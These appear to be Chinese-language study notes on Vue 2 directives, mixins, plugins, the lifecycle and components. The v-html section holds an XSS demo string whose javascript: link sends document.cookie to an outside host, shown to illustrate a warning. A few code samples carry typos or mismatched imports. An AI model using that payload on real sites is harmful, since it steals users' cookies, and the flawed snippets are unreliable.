D28.Vue
F7.内置指令 + 自定义指令(K44-K49)
之前学过的指令:
v-bind 单向绑定解析表达式,可简写为**:**
v-model 双向数据绑定
v-for 遍历数组 / 对象 / 字符串
v-on 绑定事件监听,可简写为**@**
v-show 条件渲染 (动态控制节点是否展示)
v-if 条件渲染(动态控制节点是否存存在)
v-else-if 条件渲染(动态控制节点是否存存在)
v-else 条件渲染(动态控制节点是否存存在)
A.内置指令
xv-text 指令
1)v-text指令:(使用的比较少)
作用:向其所在的节点中渲染文本内容
与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'张三',
str:'<h3>你好啊!</h3>'
}
})
</script>
2.v-html 指令
1)v-html指令:(使用的很少)
作用:向指定节点中渲染包含html结构的内容
与插值语法的区别:
- v-html会替换掉节点中所有的内容,{{xx}}则不会
- v-html可以识别html结构
严重注意:v-html有安全性问题!
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
- 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!-- 准备好一个容器--> <div id="root"> <div>你好,{{name}}</div> <div v-html="str"></div> <div v-html="str2"></div> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'张三', str:'<h3>你好啊!</h3>', str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>我系渣渣辉,系兄弟就来砍我</a>', } }) </script>
3.v-cloak 指令
1)v-cloak指令(没有值):
本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题<style> [v-cloak]{ display:none; } </style> <!-- 准备好一个容器--> <div id="root"> <h2 v-cloak>{{name}}</h2> </div> <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script> <script type="text/javascript"> console.log(1) Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷' } }) </script>
4.v-once 指令
1)v-once指令:(用的少)
v-once所在节点在初次动态渲染后,就视为静态内容了
以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能<!-- 准备好一个容器--> <div id="root"> <h2 v-once>初始化的n值是:{{ n }}</h2> <h2>当前的n值是:{{ n }}</h2> <button @click="n++">点我n+1</button> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ n:1 } }) </script>
5.v-pre 指令
1)v-pre指令:
跳过其所在节点的编译过程
可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译<div id="root"> <h2 v-pre>Vue其实很简单</h2> <h2 >当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{n:1} }) </script>
Django中模板语法也是{{}},使用这个是防止冲突
2.自定义指令
1)directives
记住这里面就是操作Dom的
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
语法:
局部指令:new Vue({ directives:{ 指令名:配置对象 } }) new Vue({ directives:{ 指令名:回调函数 } })
全局指令:
Vue.directive(指令名, 配置对象) 或 Vue.directive(指令名, 回调函数) Vue.directive('fbind', { // 指令与元素成功绑定时(一上来) bind(element, binding) { // element就是DOM元素,binding就是要绑定的 element.value = binding.value }, // 指令所在元素被插入页面时 inserted(element, binding) { element.focus() }, // 指令所在的模板被重新解析时(data数据改变导致模板重新解析) update(element, binding) { element.value = binding.value } })
2)配置对象中常用的3个回调:
a. bind:指令与元素成功绑定时调用
b. inserted:指令所在元素被插入页面时调用
c. update:指令所在模板结构被重新解析时调用
3)element就是DOM元素,binding就是要绑定的对象,它包含以下属性:name、value、oldValue、expression、arg、modifiers
注:
a. 指令定义时不加v-
,但使用时要加v-
b. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名new Vue({ el: '#root', data: { n:1 }, directives: { 'big-number'(element,binding) { element.innerText = binding.value * 10 } } })
4)定义全局指令
<!-- 准备好一个容器--> <div id="root"> <input type="text" v-fbind:value="n"> </div> <script type="text/javascript"> Vue.config.productionTip = false //定义全局指令 Vue.directive('fbind', { // 指令与元素成功绑定时(一上来) bind(element, binding){ element.value = binding.value }, // 指令所在元素被插入页面时 inserted(element, binding){ element.focus() }, // 指令所在的模板被重新解析时 update(element, binding){ element.value = binding.value } }) new Vue({ el:'#root', data:{ name: '尚硅谷', n: 1 } }) </script>
5)局部指令
<title>自定义指令</title> <script type="text/javascript" src="../js/vue.js"></script> <div id="root"> <h2>{{ name }}</h2> <h2>当前的n值是:<span v-text="n"></span> </h2> <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> --> <h2>放大10倍后的n值是:<span v-big="n"></span> </h2> <button @click="n++">点我n+1</button> <hr /> <input type="text" v-fbind:value="n"> </div> <script type="text/javascript"> Vue.config.productionTip = false // 定义全局指令 /* Vue.directive('fbind',{ // 指令与元素成功绑定时(一上来) bind(element,binding){ element.value = binding.value }, // 指令所在元素被插入页面时 inserted(element,binding){ element.focus() }, // 指令所在的模板被重新解析时 update(element,binding){ element.value = binding.value } }) */ new Vue({ el: '#root', data: { name: '尚硅谷', n: 1 }, directives: { // big函数何时会被调用? // 1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时 /* 'big-number'(element,binding){ // console.log('big') element.innerText = binding.value * 10 }, */ big(element, binding) { console.log('big', this) // !注意此处的 this 是 window // console.log('big') element.innerText = binding.value * 10 }, fbind: { // 指令与元素成功绑定时(一上来) bind(element, binding) { element.value = binding.value }, // 指令所在元素被插入页面时 inserted(element, binding) { element.focus() }, // 指令所在的模板被重新解析时 update(element, binding) { element.value = binding.value } } } }) </script>
F8.部分函数 + Vue零碎的一些知识(K50-K56)
1.函数
1)render函数
使用 import 导入第三方库的时候不需要 加 ‘./’
导入我们自己写的:import App from './App.vue'
导入第三方的
import Vue from 'vue'
不需要在 from ‘vue’ 加 ‘./’ 的原因是第三方库 node_modules 人家帮我们配置好了
我们通过 import 导入第三方库,在第三方库的 package.json 文件中确定了我们引入的是哪个文件
通过 module 确定了我们要引入的文件
备注:这是ESM默认导入的文件,CommonJS默认导入mian中路径的文件
回到 render 函数
之前的写法是这样:import App from './App.vue' new Vue({ el:'#root', template:`<App></App>`, components:{App}, })
如果这样子写,运行的话会引发如下的报错
报错的意思是,是在使用运行版本的 vue ,没有模板解析器
从上面的小知识可以知道,我们引入的 vue 不是完整版的,是残缺的(为了减小vue的大小)。所以残缺的vue.js 只有通过 render 函数才能把项目给跑起来
a. 来解析一下render// render最原始写的方式 // render是个函数,还能接收到参数a // 这个 createElement 很关键,是个回调函数 new Vue({ render(createElement) { // 这个 createElement 回调函数能创建元素 // 因为残缺的vue 不能解析 template,所以render就来帮忙解决这个问题 // createElement 能创建具体的元素 return createElement('h1', 'hello') } }).$mount('#app')
2)关于不同版本的函数
来个不同版本 vue 的区别
a. vue.js与vue.runtime.xxx.js的区别:
vue.js是完整版的Vue,包含:核心功能+模板解析器
vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。esm 就是 ES6 module
b. 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容
3)vue.config.js 配置文件
vue inspect > output.js可以查看到Vue脚手架的默认配置
使用vue.config.js可以对脚手架进行个性化定制,和package.json同级目录module.exports = { pages: { index: { entry: 'src/index/main.js' // 入口 } }, lineOnSave: false // 关闭语法检查 }
2.vue 零碎的一些知识
A.ref属性
被用来给元素或子组件注册引用信息(id的替代者)
应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象vc
使用方式:
打标识:< h1 ref=“xxx”>…< /h1> 或
获取:this.$refs.xxx<template> <div> <h1 v-text="msg" ref="title"></h1> <button ref="btn" @click="showDOM">点我输出上方的DOM元素</button> <School ref="sch"/> </div> </template> <script> import School from './components/School' export default { name:'App', components:{ School }, data() { return { msg:'欢迎学习Vue!' } }, methods: { showDOM(){ console.log(this.$refs.title) // 真实DOM元素 console.log(this.$refs.btn) // 真实DOM元素 console.log(this.$refs.sch) // School组件的实例对象(vc) } }, } </script>
B.props 配置项
1)功能:让组件接收外部传过来的数据
2)传递数据:这里age前加:,通过v-bind使得里面的18是数字
3)接收数据:
第一种方式(只接收):props:[‘name’]
第二种方式(限制类型):props:{name:String, age:Number}
第三种方式(限制类型、限制必要性、指定默认值)props:{ name:{ type:String, //类型 required:true, //必要性 default:'老王' //默认值 } }
注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据
4)vue props传Array/Object类型值,子组件报错解决办法
其实看错误信息也就知道了,就是Props在传值类型为Object/Array时,如果需要配置default值(如果没有配置default值,则不会有这个报错),那必须要使用函数来return这个default值,而不能像基本数据类型那样直接写default:xxx
//错误写法 props: { rlist: { type:Array, default: [1, 2, 3, 4, 5] } }
解决方法
//正确写法 props: { rlist: { type:Array, default: function() { return [1, 2, 3, 4, 5] } } } //当然,我们可以使用箭头函数来写,还显得简单很多 props: { rlist: { type:Array, default: () => [1, 2, 3, 4, 5] } }
5)示例代码:父组件给子组件传数据
App.vue<template> <div> <Student name="李四" sex="女" :age="18"/> <Student name="王五" sex="男" :age="18"/> </div> </template> <script> import Student from './components/Student' export default { name:'App', components:{ Student } } </script>
School.vue
<template> <div> <h1>{{ msg }}</h1> <h2>学生姓名:{{ name }}</h2> <h2>学生性别:{{ sex }}</h2> <h2>学生年龄:{{ myAge + 1 }}</h2> <button @click="updateAge">尝试修改收到的年龄</button> </div> </template> <script> export default { name: "Student", data() { console.log(this); return { msg: "我是一个bilibili大学的学生", myAge: this.age, }; }, methods: { updateAge() { this.myAge++; }, }, // 简单声明接收 // props:['name','age','sex'] // 接收的同时对数据进行类型限制 // props: { // name: String, // age: Number, // sex: String, // } // 接收的同时对数据:进行类型限制+默认值的指定+必要性的限制 props: { name: { type: String, //name的类型是字符串 required: true, //name是必要的 }, age: { type: Number, default: 99, //默认值 }, sex: { type: String, required: true, }, }, }; </script>
C.mixin混入
1)混入 (mixin) 提供了一种非常灵活的方式,来分发 Vue 组件中的可复用功能。一个混入对象可以包含任意组件选项。当组件使用混入对象时,所有混入对象的选项将被“混合”进入该组件本身的选项
功能:可以把多个组件共用的配置提取成一个混入对象const mixin = { data() {....}, methods: {....} .... }
2)使用混入
全局混入Vue.mixin(xxx)
局部混入mixins:[‘xxx’]
3)局部混入
src/mixin.js
export const hunhe = { methods: { showName(){ alert(this.name) } }, mounted() { console.log('你好啊!') }, } export const hunhe2 = { data() { return { x:100, y:200 } }, }
src/components/School.vue
<template> <div> <h2 @click="showName">学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> </template> <script> //引入一个hunhe import {hunhe,hunhe2} from '../mixin' export default { name:'School', data() { return { name:'尚硅谷', address:'北京', x:666 } }, mixins:[hunhe,hunhe2] // 局部混入 } </script>
src/components/Student.vue
<template> <div> <h2 @click="showName">学生姓名:{{name}}</h2> <h2>学生性别:{{sex}}</h2> </div> </template> <script> import {hunhe,hunhe2} from '../mixin' export default { name:'Student', data() { return { name:'张三', sex:'男' } }, mixins:[hunhe,hunhe2] // 局部混入 } </script>
4)全局混入
src/main.js
import Vue from 'vue' import App from './App.vue' import {mixin} from './mixin' Vue.config.productionTip = false Vue.mixin(hunhe) // 全局混合引入 Vue.mixin(hunhe2) // 全局混合 new Vue({ el:"#app", render: h => h(App) })
这样所有组件就自动使用这些配置了,不推荐使用全局混入
注:1组件和混入对象含有同名选项时,这些选项将以恰当的方式进行“合并”,在发生冲突时以组件优先var mixin = { data: function () { return { message: 'hello', foo: 'abc' } } } new Vue({ mixins: [mixin], data () { return { message: 'goodbye', bar: 'def' } }, created () { console.log(this.$data) // => { message: "goodbye", foo: "abc", bar: "def" } } })
注:2同名生命周期钩子将合并为一个数组,因此都将被调用。另外,混入对象的钩子将在组件自身钩子之前调用
var mixin = { created () { console.log('混入对象的钩子被调用') } } new Vue({ mixins: [mixin], created () { console.log('组件钩子被调用') } }) // => "混入对象的钩子被调用" // => "组件钩子被调用"
D.plugin 插件
功能:用于增强Vue 2.本质:包含install方法的一个对象,install的第一个参数是Vue构造函数,第二个以后的参数是插件使用者传递的数据 3.定义插件(见下 src/plugin.js) 4.使用插件:Vue.use()
Vue.use执行之后,会自动调用install方法,所有组件就可以使用里面定义的东西
src/plugin.js
export default { install(Vue,x,y,z){ console.log(x,y,z) //定义全局指令 Vue.directive('fbind',{ //指令与元素成功绑定时(一上来) bind(element,binding){element.value = binding.value}, //指令所在元素被插入页面时 inserted(element,binding){element.focus()}, //指令所在的模板被重新解析时 update(element,binding){element.value = binding.value} }) //定义混入 Vue.mixin({ data() {return {x:100,y:200}}, }) //给Vue原型上添加一个方法(vm和vc就都能用了) Vue.prototype.hello = ()=>{alert('你好啊')} } }
src/main.js
import Vue from 'vue' import App from './App.vue' import plugins from './plugins' // 引入插件 Vue.config.productionTip = false Vue.use(plugins,1,2,3) // 应用(使用)插件 new Vue({ el:'#app', render: h => h(App) })
src/components/School.vue
<template> <div> <h2>学校名称:{{ name | mySlice }}</h2> <h2>学校地址:{{ address }}</h2> <button @click="test">点我测试一个hello方法</button> </div> </template> <script> export default { name:'School', data() { return { name:'尚硅谷atguigu', address:'北京', } }, methods: { test(){ this.hello() } }, } </script>
src/components/Student.vue
<template> <div> <h2>学生姓名:{{ name }}</h2> <h2>学生性别:{{ sex }}</h2> <input type="text" v-fbind:value="name"> </div> </template> <script> export default { name:'Student', data() { return { name:'张三', sex:'男' } }, } </script>
E.scoped
1)scoped样式
作用:让样式在局部生效,防止冲突
写法:< style scoped>
具体案例:<style lang="less" scoped> .demo{ background-color: pink; .atguigu{ font-size: 40px; } } </style>
F9.生命周期 + 组件(K57-K63)
1.生命周期
1)引出生命周期
又名生命周期回调函数、生命周期函数、生命周期钩子
是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
生命周期函数中的this 指向是vm或组件实例对象<div id="root"> <h2 v-if="a">你好啊</h2> <h2 :style="{opacity}">看笔记学Vue</h2> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { a: false, opacity: 1 }, methods: { }, // Vue 完成模板的解析并把初始的真实 DOM 元素放入页面后(挂载完毕)调用 mounted mounted() { console.log('mounted', this) setInterval(() => { this.opacity -= 0.01 if(this.opacity <= 0) this.opacity = 1 }, 16) }, }) // 通过外部的定时器实现(不推荐) // setInterval(() => { // vm.opacity -= 0.01 // if(vm.opacity <= 0) vm.opacity = 1 // },16) </script>
2)分析生命周期
<title>分析生命周期</title> <script type="text/javascript" src="../js/vue.js"></script> <div id="root" :x="n"> <h2 v-text="n"></h2> <h2>当前的n值是:{{ n }}</h2> <button @click="add">点我n+1</button> <button @click="bye">点我销毁vm</button> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', // template:` // <div> // <h2>当前的n值是:{{n}}</h2> // <button @click="add">点我n+1</button> // </div> // `, data: { n: 1 }, methods: { add() { console.log('add') this.n++ }, bye() { console.log('bye') this.$destroy() } }, watch: { n() { console.log('n变了') } }, beforeCreate() {console.log('beforeCreate')}, created() {console.log('created')}, beforeMount() {console.log('beforeMount')}, mounted() {console.log('mounted')}, beforeUpdate() {console.log('beforeUpdate')}, updated() {console.log('updated')}, beforeDestroy() {console.log('beforeDestroy')}, destroyed() {console.log('destroyed')}, }) </script>
来讲一下图中间大框框的内容
先判断有没有 el 这个配置项,没有就调用 vm.$mount(el),如果两个都没有就一直卡着,显示的界面就是最原始的容器的界面。有el这个配置项,就进行判断有没有template这个配置项,没有 template 就将el绑定的容器编译为 vue 模板,来个对比图
没编译前的:
编译后:
template 的作用
第一种情况,有 template:
如果 el 绑定的容器没有任何内容,就一个空壳子,但在 Vue 实例中写了 template,就会编译解析这个 template 里的内容,生成虚拟 DOM,最后将 虚拟 DOM 转为 真实 DOM 插入页面(其实就可以理解为 template 替代了 el 绑定的容器的内容)
第二种情况,没有 template:
没有 template,就编译解析 el 绑定的容器,生成虚拟 DOM,后面就顺着生命周期执行下去
3)总结生命周期
a. beforeCreate(创建前):数据监测(getter和setter)和初始化事件还未开始,此时 data 的响应式追踪、event/watcher 都还没有被设置,也就是说不能访问到data、computed、watch、methods上的方法和数据
b. created(创建后):实例创建完成,实例上配置的 options 包括 data、computed、watch、methods 等都配置完成,但是此时渲染得节点还未挂载到 DOM,所以不能访问到 $ el属性
c. beforeMount(挂载前):在挂载开始之前被调用,相关的render函数首次被调用。此阶段Vue开始解析模板,生成虚拟DOM存在内存中,还没有把虚拟DOM转换成真实DOM,插入页面中。所以网页不能显示解析好的内容
d. mounted(挂载后):在el被新创建的 vm.$el(就是真实DOM的拷贝)替换,并挂载到实例上去之后调用(将内存中的虚拟DOM转为真实DOM,真实DOM插入页面)。此时页面中呈现的是经过Vue编译的DOM,这时在这个钩子函数中对DOM的操作可以有效,但要尽量避免。一般在这个阶段进行:开启定时器,发送网络请求,订阅消息,绑定自定义事件等等
e. beforeUpdate(更新前):响应式数据更新时调用,此时虽然响应式数据更新了,但是对应的真实 DOM 还没有被渲染(数据是新的,但页面是旧的,页面和数据没保持同步)
f. updated(更新后) :在由于数据更改导致的虚拟DOM重新渲染和打补丁之后调用。此时 DOM 已经根据响应式数据的变化更新了。调用时,组件 DOM已经更新,所以可以执行依赖于DOM的操作。然而在大多数情况下,应该避免在此期间更改状态,因为这可能会导致更新无限循环。该钩子在服务器端渲染期间不被调用
g. beforeDestroy(销毁前):实例销毁之前调用。这一步,实例仍然完全可用,this 仍能获取到实例。在这个阶段一般进行关闭定时器,取消订阅消息,解绑自定义事件
h. destroyed(销毁后):实例销毁后调用,调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。该钩子在服务端渲染期间不被调用
常用的生命周期钩子:- mounted发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
- beforeDestroy清除定时器、解绑自定义事件、取消订阅消息等收尾工作
关于销毁Vue实例
- 销毁后借助Vue开发者工具看不到任何信息
- 销毁后自定义事件会失效,但原生DOM事件依然有效
- 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
<div id="root"> <h2 :style="{opacity}">欢迎学习Vue</h2> <button @click="opacity = 1">透明度设置为1</button> <button @click="stop">点我停止变换</button> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { opacity: 1 }, methods: { stop() { //摧毁整个Vue实例,直接停掉还能通过别人方法修改,使用这个就是完全摧毁 this.$destroy() } }, // Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted mounted() { console.log('mounted', this) this.timer = setInterval(() => { console.log('setInterval') this.opacity -= 0.01 if (this.opacity <= 0) this.opacity = 1 }, 16) }, beforeDestroy() { clearInterval(this.timer) console.log('vm即将驾鹤西游了') }, }) </script>
2.组件
A.模块与组件、模块化与组件化
a. 模块
理解:向外提供特定功能的 js 程序,一般就是一个 js 文件
为什么:js 文件很多很复杂
作用:复用、简化 js 的编写,提高 js 运行效率
b. 组件
定义:用来实现局部功能的代码和资源的集合(html/css/js/image…)
为什么:一个界面的功能很复杂
作用:复用编码,简化项目编码,提高运行效率
模块化 当应用中的 js 都以模块来编写的,那这个应用就是一个模块化的应用 组件化 当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用
B.非单文件组件
非单文件组件:一个文件中包含有 n 个组件 单文件组件:一个文件中只包含有 1 个组件
1)基本使用
Vue中使用组件的三大步骤:- 定义组件(创建组件)
- 注册组件
- 使用组件(写组件标签)
定义组件
使用**Vue.extend(options)
**创建,其中options和new Vue(options)
时传入的那个options几乎一样,但也有点区别;
区别如下:- el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器
- data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系
- 讲解一下面试小问题:data必须写成函数:
这是js底层设计的原因:举个例子
对象形式let data = { a: 99, b: 100 } let x = data; let y = data; // x 和 y 引用的都是同一个对象,修改 x 的值, y 的值也会改变 x.a = 66; console.loh(x); // a:66 b:100 console.log(y); // a:66 b:100
函数形式
function data() { return { a: 99, b: 100 } } let x = data(); let y = data(); console.log(x === y); // false // 我的理解是函数每调用一次就创建一个新的对象返回给他们
备注:使用template可以配置组件结构
创建一个组件案例:Vue.extend() 创建<script type="text/javascript"> Vue.config.productionTip = false //第一步:创建school组件 const school = Vue.extend({ template:` <div class="demo"> <h2>学校名称:{{schoolName}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。 data(){ return { schoolName:'尚硅谷', address:'北京昌平' } }, methods: { showName(){ alert(this.schoolName) } }, }) //第一步:创建student组件 const student = Vue.extend({ template:` <div> <h2>学生姓名:{{studentName}}</h2> <h2>学生年龄:{{age}}</h2> </div> `, data(){ return { studentName:'张三', age:18 } } }) //第一步:创建hello组件 const hello = Vue.extend({ template:` <div> <h2>你好啊!{{name}}</h2> </div> `, data(){ return { name:'Tom' } } }) </script>
2)注册组件
- 局部注册:靠new Vue的时候传入components选项
- 全局注册:靠Vue.component('组件名',组件)
- 局部注册(只有注册了那个组件的才能使用)
<script> //创建vm new Vue({ el: '#root', data: { msg:'你好啊!' }, //第二步:注册组件(局部注册) components: { //左边才是组件名 school: school, student: student // ES6简写形式 // school, // student } }) </script>
全局注册(所有的都可以使用)
<script> //第二步:全局注册组件 Vue.component('hello', hello) </script>
3)使用组件
<!-- 准备好一个容器--> <div id="root"> <hello></hello> <hr> <h1>{{msg}}</h1> <hr> <!-- 第三步:编写组件标签 --> <school></school> <hr> <!-- 第三步:编写组件标签 --> <student></student> </div>
4)组件注意事项
关于组件名:
一个单词组成: - 第一种写法(首字母小写):school
- 第二种写法**(首字母大写)**:School(推荐)
多个单词组成:
- 第一种写法**(kebab-case命名)**:my-school
- 第二种写法**(CamelCase命名)**:MySchool (需要Vue脚手架支持)(推荐)
注:
组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行
可以使用name配置项指定组件在开发者工具中呈现的名字
关于组件标签:
< school>< /school>
第二种写法:< school/>
注:不用使用脚手架时,会导致后续组件不能渲染
一个简写方式:const school = Vue.extend(options) 可简写为:const school = options
<div id="root"> <h2>{{msg}}</h2> <school></school> </div> <script type="text/javascript"> Vue.config.productionTip = false //定义组件 const school = Vue.extend({ name: 'atguigu', // 组件给自己起个名字,用于在浏览器开发工具上显示 template: ` <div> <h3>学校名称:{{name}}</h3> <h3>学校地址:{{address}}</h3> </div> `, data() { return { name: 'dselegent', address: '长沙' } } }) new Vue({ el: '#root', data: { msg: '欢迎学习Vue!' }, components: { school } }) </script>
5)组件的嵌套
<div id="root"></div> <script type="text/javascript"> Vue.config.productionTip = false //定义student组件 const student = Vue.extend({ name: 'student', template: ` <div> <h4>学生姓名:{{name}}</h4> <h4>学生年龄:{{age}}</h4> </div> `, data() {return {name: '尚硅谷',age: 18}} }) //定义school组件 const school = Vue.extend({ name: 'school', template: ` <div> <h3>学校名称:{{name}}</h3> <h3>学校地址:{{address}}</h3> <student></student> </div> `, data() {return {name: '尚硅谷',address: '北京'}}, //注册组件(局部) components: { student } }) //定义hello组件 const hello = Vue.extend({ template: `<h3>{{msg}}</h3>`, data() {return {msg: '欢迎来到尚硅谷学习!'}} }) //定义app组件 const app = Vue.extend({ template: ` <div> <hello></hello> <school></school> </div> `, components: { school, hello } }) //创建vm new Vue({ el: '#root', template: '<app></app>', //注册组件(局部) components: { app } }) </script>
6)VueComponent
- school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的
- 我们只需要写``或``,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:`new VueComponent(options)`
- 特别注意:每次调用`Vue.extend`,返回的都是一个全新的`VueComponent`,即不同组件是不同的对象
- 关于this指向:
组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是
VueComponent
实例对象
new Vue(options)
配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是Vue实例对象
- VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。Vue的实例对象,以后简称vm
<div id="root"> <school></school> <hello></hello> </div> <script type="text/javascript"> Vue.config.productionTip = false // 定义school组件 const school = Vue.extend({ name: 'school', template: ` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, data() {return {name: '尚硅谷',address: '北京'}}, methods: {showName() {console.log('showName', this)}}, }) const test = Vue.extend({ template: `<span>atguigu</span>` }) // 定义hello组件 const hello = Vue.extend({ template: ` <div> <h2>{{msg}}</h2> <test></test> </div> `, data() {return {msg: '你好啊!'}}, components: { test } }) // console.log('@',school) // console.log('#',hello) // 创建vm const vm = new Vue({ el: '#root', components: { school, hello } }) </script>
7)一个重要的内置关系
一个重要的内置关系:VueComponent.prototype.proto === Vue.prototype
为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法
例:main.js中Vue.prototype.Axios = Axios;
组件xxx.vue中this.Axios({});
B.单文件组件
1)单文件组件就是将一个组件的代码写在 .vue 这种格式的文件中,webpack 会将 .vue 文件解析成 html,css,js这些形式
来做个单文件组件的案例:
a. School.vue<template> <div class="demo"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> </template> <script> export default { name:'School', data(){ return { name:'尚硅谷', address:'北京昌平' } }, methods: { showName(){ alert(this.name) } }, } //上面是下面的精简版 const school = Vue.extend({ name:'School', data(){ return { name:'尚硅谷', address:'北京昌平' } }, methods: { showName(){ alert(this.name) } }, }) export default school; </script> <style> .demo{ background-color: orange; } </style>
b. Student.vue
<template> <div> <h2>学生姓名:{{name}}</h2> <h2>学生年龄:{{age}}</h2> </div> </template> <script> export default { name:'Student', data(){ return { name:'张三', age:18 } } } </script>
c. App.vue
用来汇总所有的组件(大总管)<template> <div> <School></School> <Student></Student> </div> </template> <script> //引入组件 import School from './School.vue' import Student from './Student.vue' export default { name:'App', components:{ School, Student } } </script>
d. main.js
在这个文件里面创建 vue 实例在这个文件里面创建 vue 实例
e. index.html
在这写 vue 要绑定的容器<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>练习一下单文件组件的语法</title> </head> <body> <!-- 准备一个容器 --> <div id="root"></div> <script type="text/javascript" src="../js/vue.js"></script> <script type="text/javascript" src="./main.js"></script> </body> </html>